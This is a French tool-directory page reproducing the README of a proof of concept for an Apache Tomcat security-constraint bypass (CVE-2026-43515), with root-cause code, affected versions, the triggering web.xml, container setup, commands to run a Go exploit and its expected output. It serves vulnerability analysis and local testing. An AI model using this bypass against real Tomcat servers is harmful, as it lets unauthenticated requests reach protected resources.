Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2026-43515-poc — PoC d'exploitabilité pour CVE-2026-43515 (contournement de contrainte Apache Tomcat). | Kitploit
Outils/GitHubGitHub/covepseng/cve-2026-43515-poc
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionAuthentificationApprentissage et Éducation
GitHubcovepseng/cve-2026-43515-poc

cve-2026-43515-poc

PoC d'exploitabilité pour CVE-2026-43515 (contournement de contrainte Apache Tomcat).

Voir le dépôt
il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-43515 — Contournement de contrainte de sécurité d'Apache Tomcat

Verdict d'exploitabilité : confirmé exploitable. Une requête POST vers une ressource protégée par une configuration <web-resource-collection> scindée contourne entièrement l'authentification. La forme requise de web.xml est rare dans les déploiements standards — voir Analyse pour les détails.


Table des matières

  • Vue d'ensemble
  • Versions affectées
  • Cause racine
  • Analyse
  • Structure du dépôt
  • Prérequis
  • Utilisation
  • Sortie attendue
  • Références
  • Avertissement

Vue d'ensemble

CVE-2026-43515 est une vulnérabilité dans la logique d'évaluation des contraintes de sécurité d'Apache Tomcat. Lorsqu'une seule <security-constraint> définit plusieurs blocs <web-resource-collection> partageant le même motif d'extension d'URL (par exemple *.html) mais déclarant chacun une méthode HTTP différente, Tomcat n'applique la contrainte que pour la méthode HTTP déclarée dans la première collection correspondante. Toutes les collections suivantes sont silencieusement ignorées.

L'intention de l'administrateur :

root@kitploit:~
<security-constraint>
  <web-resource-collection>
    <url-pattern>*.html</url-pattern>
    <http-method>GET</http-method>   <!-- collection[0] -->
  </web-resource-collection>
  <web-resource-collection>
    <url-pattern>*.html</url-pattern>
    <http-method>POST</http-method>  <!-- collection[1] — silently dropped -->
  </web-resource-collection>
  <auth-constraint>
    <role-name>admin</role-name>
  </auth-constraint>
</security-constraint>

Ce que Tomcat non corrigé applique réellement :

  • GET *.html → 401 — contrainte appliquée ✓
  • POST *.html → 200 — contrainte silencieusement ignorée ✗

Versions affectées

Plage affectéeCorrigé dans
7.0.0 – 7.0.1097.0.110
8.5.0 – 8.5.1008.5.101
9.0.0.M1 – 9.0.1179.0.118

Cause racine

Le bug se trouve dans findSecurityConstraints(Request, Context) dans org.apache.catalina.realm.RealmBase. L'indicateur matched et l'index pos étaient déclarés hors de la boucle par collection :

root@kitploit:~
// RealmBase.java — vulnerable
boolean matched = false;
int pos = -1;
for (int j = 0; j < collection.length; j++) {
    // pattern matching sets matched = true and pos = j
    // on the FIRST matching collection ...
}

if (matched) {
    if (collection[pos].findMethod(method)) {  // pos frozen to 0
        results.add(constraints[i]);
    }
}

Une fois que collection[0] correspondait au motif d'extension *.html, pos était figé à 0. L'appel à findMethod("POST") s'exécutait donc contre collection[0] (qui ne déclare que GET) et retournait false. Aucune contrainte n'était ajoutée à results pour la requête POST, et AuthenticatorBase concluait que la requête n'était soumise à aucune contrainte.

Le correctif (commit 276087d) déplace matched à l'intérieur de la boucle et remplace collection[pos] par collection[j], afin que chaque collection soit évaluée indépendamment :

root@kitploit:~
// RealmBase.java — patched
for (int j = 0; j < collection.length; j++) {
    boolean matched = false;  // ← moved inside the loop
    // pattern matching ...
    if (matched) {
        found = true;
        if (collection[j].findMethod(method)) {  // ← j, not pos
            if (results == null) {
                results = new ArrayList<>();
            }
            results.add(constraints[i]);
        }
    }
}

Analyse

Le contournement est confirmé et reproductible. Le journal verbeux de Tomcat rend le mécanisme sans ambiguïté :

root@kitploit:~
// GET — constraint correctly applied
AuthenticatorBase.invoke  Calling authenticate()
AuthenticatorBase.invoke  Failed authenticate() test  → 401

// POST — constraint silently dropped
AuthenticatorBase.invoke  Not subject to any constraint  → 200

La forme de la configuration est déterminante

La vulnérabilité ne se déclenche qu'avec un motif web.xml spécifique : une unique <security-constraint> avec plusieurs blocs <web-resource-collection> partageant le même motif d'extension mais déclarant différentes méthodes HTTP.

Cette configuration est valide selon la spécification Servlet mais rare en pratique. La plupart des déploiements :

  • omettent <http-method> entièrement (protégeant toutes les méthodes), ou
  • utilisent des blocs <security-constraint> séparés par méthode

Les déploiements qui utilisent le motif de collections scindées pour appliquer un contrôle d'accès fin par méthode sur les motifs d'extension sont exposés.


Structure du dépôt

root@kitploit:~
cve-2026-43515-poc/
├── Dockerfile                   # Tomcat 11.0.0-M1 (affected version)
├── tomcat-users.xml             # One valid user: validuser:s3cret! / role: admin
├── web.xml                      # Triggering config: split web-resource-collection
├── logging.properties           # FINE-level logging to observe constraint evaluation
└── exploit/
    ├── exploit.go               # PoC — Go

Prérequis

OutilVersionNotes
Podman≥ 4.0Docker fonctionne aussi
Go≥ 1.22Pour exécuter l'exploit localement

Aucune dépendance Go externe.


Utilisation

1. Construire et démarrer le conteneur

root@kitploit:~
podman build -t tomcat-cve-2026-43515 .
podman run -d --name tomcat-vuln \
  -p 8080:8080 \
  -v ./logging.properties:/usr/local/tomcat/conf/logging.properties:Z \
  tomcat-cve-2026-43515

Attendez quelques secondes, puis vérifiez :

root@kitploit:~
curl -si http://localhost:8080/protected/secret.html | head -1
# Expected: HTTP/1.1 401

2. Exécuter l'exploit

root@kitploit:~
cd exploit
go run exploit.go \
  -target   http://localhost:8080 \
  -path     /protected/secret.html \
  -username validuser \
  -password s3cret!

Options disponibles :

3. Nettoyage

root@kitploit:~
podman stop tomcat-vuln && podman rm tomcat-vuln

Sortie attendue

root@kitploit:~
═══════════════════════════════════════════════════
 CVE-2026-43515 — Apache Tomcat Constraint Bypass
═══════════════════════════════════════════════════
 Target : http://localhost:8080/protected/secret.html
───────────────────────────────────────────────────

Probe 1 — GET without credentials
  Expected: 401 (constraint applied to collection[0])
[1] GET    (no credentials) → HTTP 401  ← ✓ constraint enforced as expected

Probe 2 — POST without credentials  ← the exploit probe
  Expected on VULNERABLE Tomcat: 200 (constraint NOT enforced)
[2] POST   (no credentials) → HTTP 200  ← ✗ BYPASS CONFIRMED — constraint not enforced for POST

Probe 3 — GET with valid credentials (sanity check)
  Expected: 200 (authenticated access granted)
[3] GET    (with credentials) → HTTP 200  ← ✓ authenticated access granted

───────────────────────────────────────────────────
VERDICT: VULNERABLE

Références

RessourceLien
Commit de correctif — 11.0.xapache/tomcat@276087d
Analyse complète — article de blogreturn-zero.dev/posts/cve-2026-43515

Avertissement

Ce dépôt est destiné uniquement à des fins éducatives et à l'analyse locale de l'exploitabilité. Tous les tests ont été effectués contre un environnement conteneurisé auto-hébergé. N'exécutez pas ce PoC contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous ne disposez pas d'une autorisation écrite explicite de test.

Télécharger l’outil
10.1.0.M1 – 10.1.54
10.1.55
11.0.0.M1 – 11.0.2111.0.22
OptionDéfautDescription
-targethttp://localhost:8080URL de base de Tomcat
-path/protected/secret.htmlChemin de la ressource protégée
-usernamevaliduserNom d'utilisateur valide pour le test de contrôle
-passwords3cret!Mot de passe pour le test de contrôle